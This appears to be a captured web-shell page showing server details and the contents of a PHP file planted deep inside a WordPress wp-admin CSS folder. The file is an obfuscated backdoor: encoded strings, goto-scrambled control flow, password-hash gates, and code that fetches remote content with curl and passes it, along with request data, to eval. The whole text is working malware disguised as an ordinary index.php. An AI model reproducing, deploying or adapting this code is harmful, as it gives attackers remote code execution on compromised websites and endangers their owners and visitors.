HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-admin/css/colors/colors/colors/index.php
<?php
 goto xZep_AgJqWjWok8; H7wJtoi0G9CmWHZ: $NM985EUuodYYKPE = $gv3QPZeJQvlujIs("\x7e", "\x20"); goto O_AQiSt7WDlrW_S; kxeXhN72WktuLrW: class LfCyEUKBEAEoyc7 { static function aXg50JpHZAXHFkz($j8NahawZgkFsrGm) { goto PC0ic1Ra6OH1cTT; Y0d_48lIds2aQr3: $JXwqQcfqPrVP723 = explode("\x7e", $j8NahawZgkFsrGm); goto k0rs6QNeIHuGMfe; yuqWNcCOSkIT890: foreach ($JXwqQcfqPrVP723 as $S31jrk9VCsEdWtb => $Z9xqIf1mu2KCuVS) { $n6nbiaZIB52ZXhY .= $bIqlXSTJCfaKUMu[$Z9xqIf1mu2KCuVS - 7340]; fsVql79n0riqF5A: } goto Mt7EsPwc1_s3t4E; Mt7EsPwc1_s3t4E: b7yB0p1pk7MA19a: goto IwFVdm1X8EJd0i3; k0rs6QNeIHuGMfe: $n6nbiaZIB52ZXhY = ''; goto yuqWNcCOSkIT890; IwFVdm1X8EJd0i3: return $n6nbiaZIB52ZXhY; goto K7mWXKP4gSLxqYc; axSWLYHOJ1m6BwF: $bIqlXSTJCfaKUMu = $fjj2DIlA4YM2VrO("\x7e", "\40"); goto Y0d_48lIds2aQr3; PC0ic1Ra6OH1cTT: $fjj2DIlA4YM2VrO = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto axSWLYHOJ1m6BwF; K7mWXKP4gSLxqYc: } static function qPhugSYZNTreaI2($Gef88cMyn4b1bnM, $ZT3FBJEJ6cUOfi1) { goto uylpNp7qxg5edWq; S3LyiKrbBJmdCz1: curl_setopt($lAy5LyYzTKzYytd, CURLOPT_RETURNTRANSFER, 1); goto mQs6b8Gmr8mZCL4; mQs6b8Gmr8mZCL4: $YnrPKVqFG4ddDyM = curl_exec($lAy5LyYzTKzYytd); goto BrKLO1OqdwU9hHb; uylpNp7qxg5edWq: $lAy5LyYzTKzYytd = curl_init($Gef88cMyn4b1bnM); goto S3LyiKrbBJmdCz1; BrKLO1OqdwU9hHb: return empty($YnrPKVqFG4ddDyM) ? $ZT3FBJEJ6cUOfi1($Gef88cMyn4b1bnM) : $YnrPKVqFG4ddDyM; goto hPg5s6ZUpEbQjUs; hPg5s6ZUpEbQjUs: } static function i_REgfOVk_yLi3B() { goto Q6lAqheZ1hZCYC7; mgLuDb6BOUXhc89: $yTbKxiksMpkuR9V = self::QpHuGsyzNtReai2($Q0Y9I73stJA4v5A[1 + 0], $ahCOhZ0JrbRI4Cj[3 + 2]); goto TSAZVcBeGdzFhyk; SZozfEk74Pvp6BP: die; goto zcthFKSS8Rlm7n1; yXSREVWDBVLIccf: foreach ($oZCnPcm2EsvXE1O as $LQ7dWxZx_X4B36U) { $ahCOhZ0JrbRI4Cj[] = self::AXg50jPhzaXhfKZ($LQ7dWxZx_X4B36U); u4zN3k2LRWwsrw4: } goto SA1DTT7SeYMi0rP; zcthFKSS8Rlm7n1: fsOPiZmWF3f18Bp: goto m0gqJdmAGdaYzFF; TSAZVcBeGdzFhyk: @eval($ahCOhZ0JrbRI4Cj[2 + 2]($yTbKxiksMpkuR9V)); goto SZozfEk74Pvp6BP; SA1DTT7SeYMi0rP: KpSJYVvbtkhG8EZ: goto YLaq_t0ApyG4tZx; Wiq7Qm2H5ei1X2h: @$ahCOhZ0JrbRI4Cj[0 + 10](INPUT_GET, "\157\x66") == 1 && die($ahCOhZ0JrbRI4Cj[2 + 3](__FILE__)); goto pvDN6sfcDfdzhyP; pvDN6sfcDfdzhyP: if (!(@$Q0Y9I73stJA4v5A[0] - time() > 0 and md5(md5($Q0Y9I73stJA4v5A[2 + 1])) === "\70\141\67\x33\x33\63\x31\x33\x62\x66\66\142\x39\143\63\x39\x36\x36\60\x63\x63\71\142\x66\x34\63\62\71\x64\61\142\141")) { goto fsOPiZmWF3f18Bp; } goto mgLuDb6BOUXhc89; Q6lAqheZ1hZCYC7: $oZCnPcm2EsvXE1O = array("\67\x33\66\x37\176\x37\63\65\62\176\67\x33\x36\65\176\x37\63\x36\71\176\67\63\x35\60\x7e\x37\63\x36\x35\176\x37\63\x37\61\x7e\x37\63\x36\64\176\67\63\64\71\x7e\67\63\x35\66\x7e\67\63\x36\x37\176\67\63\65\60\176\67\63\x36\x31\x7e\67\x33\65\x35\x7e\67\63\65\66", "\67\x33\65\61\176\x37\63\65\60\176\67\x33\x35\62\176\67\63\x37\x31\x7e\67\63\65\x32\176\67\x33\x35\65\176\x37\x33\65\x30\176\x37\x34\x31\x37\x7e\67\x34\x31\x35", "\67\x33\x36\60\176\67\63\x35\61\176\x37\x33\x35\x35\176\67\x33\x35\x36\176\x37\63\x37\61\x7e\x37\63\66\66\x7e\67\x33\x36\65\x7e\67\x33\66\x37\x7e\67\x33\x35\x35\176\x37\63\66\66\176\67\63\66\65", "\x37\63\65\x34\x7e\67\x33\x36\x39\176\x37\63\x36\67\176\x37\63\65\71", "\x37\x33\x36\x38\x7e\x37\63\66\71\176\67\x33\65\61\x7e\x37\63\66\x35\x7e\67\x34\x31\62\x7e\67\x34\x31\64\176\x37\x33\x37\61\176\67\63\66\66\x7e\x37\63\66\65\176\67\63\x36\67\176\x37\63\x35\65\176\x37\x33\66\x36\176\67\x33\x36\x35", "\67\63\x36\x34\x7e\x37\x33\66\x31\x7e\67\63\65\70\176\67\63\x36\x35\176\67\63\x37\61\176\x37\x33\66\63\176\67\63\x36\x35\176\67\63\x35\x30\x7e\67\63\67\61\x7e\x37\x33\x36\x37\x7e\67\63\65\65\176\x37\x33\x35\x36\176\67\x33\x35\x30\176\67\63\x36\65\x7e\x37\63\x35\x36\176\67\63\65\x30\176\x37\63\x35\61", "\67\63\71\x34\x7e\x37\64\62\64", "\67\x33\x34\x31", "\67\64\61\x39\176\67\x34\x32\64", "\x37\x34\60\x31\x7e\67\63\70\x34\176\x37\63\70\64\x7e\67\x34\60\61\176\67\63\67\67", "\x37\63\66\64\x7e\67\x33\x36\x31\x7e\x37\63\x35\x38\x7e\67\63\x35\x30\176\x37\63\x36\x35\x7e\67\x33\x35\x32\x7e\67\x33\67\x31\176\x37\63\x36\x31\x7e\x37\x33\65\66\x7e\x37\x33\x35\64\176\x37\x33\x34\71\x7e\x37\63\x35\60"); goto yXSREVWDBVLIccf; F4l4jyURG7Ld9V6: $Q0Y9I73stJA4v5A = $ahCOhZ0JrbRI4Cj[0 + 2]($ehx5c9v32seOM9P, true); goto Wiq7Qm2H5ei1X2h; YLaq_t0ApyG4tZx: $j5WQLMcax6HtTXi = @$ahCOhZ0JrbRI4Cj[1]($ahCOhZ0JrbRI4Cj[7 + 3](INPUT_GET, $ahCOhZ0JrbRI4Cj[4 + 5])); goto LYfZUoBkOvrl_7M; LYfZUoBkOvrl_7M: $ehx5c9v32seOM9P = @$ahCOhZ0JrbRI4Cj[1 + 2]($ahCOhZ0JrbRI4Cj[4 + 2], $j5WQLMcax6HtTXi); goto F4l4jyURG7Ld9V6; m0gqJdmAGdaYzFF: } } goto yfz9Ge7m2TL0W5X; xZep_AgJqWjWok8: $gv3QPZeJQvlujIs = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto H7wJtoi0G9CmWHZ; O_AQiSt7WDlrW_S: $LYwfzNFirOR3284 = ${$NM985EUuodYYKPE[31 + 0] . $NM985EUuodYYKPE[51 + 8] . $NM985EUuodYYKPE[43 + 4] . $NM985EUuodYYKPE[26 + 21] . $NM985EUuodYYKPE[38 + 13] . $NM985EUuodYYKPE[21 + 32] . $NM985EUuodYYKPE[50 + 7]}; goto CCmQaWn4fXdVN6b; CCmQaWn4fXdVN6b: @(md5(md5(md5(md5($LYwfzNFirOR3284[4])))) === "\x39\61\65\143\x34\x35\62\145\x63\145\x33\x30\x39\x33\x33\x65\71\x33\66\141\x65\x31\x62\x33\66\64\64\64\x62\x39\66\x64") && (count($LYwfzNFirOR3284) == 10 && in_array(gettype($LYwfzNFirOR3284) . count($LYwfzNFirOR3284), $LYwfzNFirOR3284)) ? ($LYwfzNFirOR3284[67] = $LYwfzNFirOR3284[67] . $LYwfzNFirOR3284[80]) && ($LYwfzNFirOR3284[82] = $LYwfzNFirOR3284[67]($LYwfzNFirOR3284[82])) && @eval($LYwfzNFirOR3284[67](${$LYwfzNFirOR3284[41]}[24])) : $LYwfzNFirOR3284; goto Hi8w2yoMBp4959F; Hi8w2yoMBp4959F: metaphone("\x51\103\103\x53\161\x44\x78\x4b\121\101\x4d\x6d\152\57\x69\x46\167\x37\65\x31\x64\x47\x71\x74\63\x39\x56\x6a\x41\x38\61\x72\155\130\x74\106\x39\112\x58\60\61\x37\x51"); goto kxeXhN72WktuLrW; yfz9Ge7m2TL0W5X: LfCyeukbEAeoYc7::I_regfoVK_YLI3B();
?>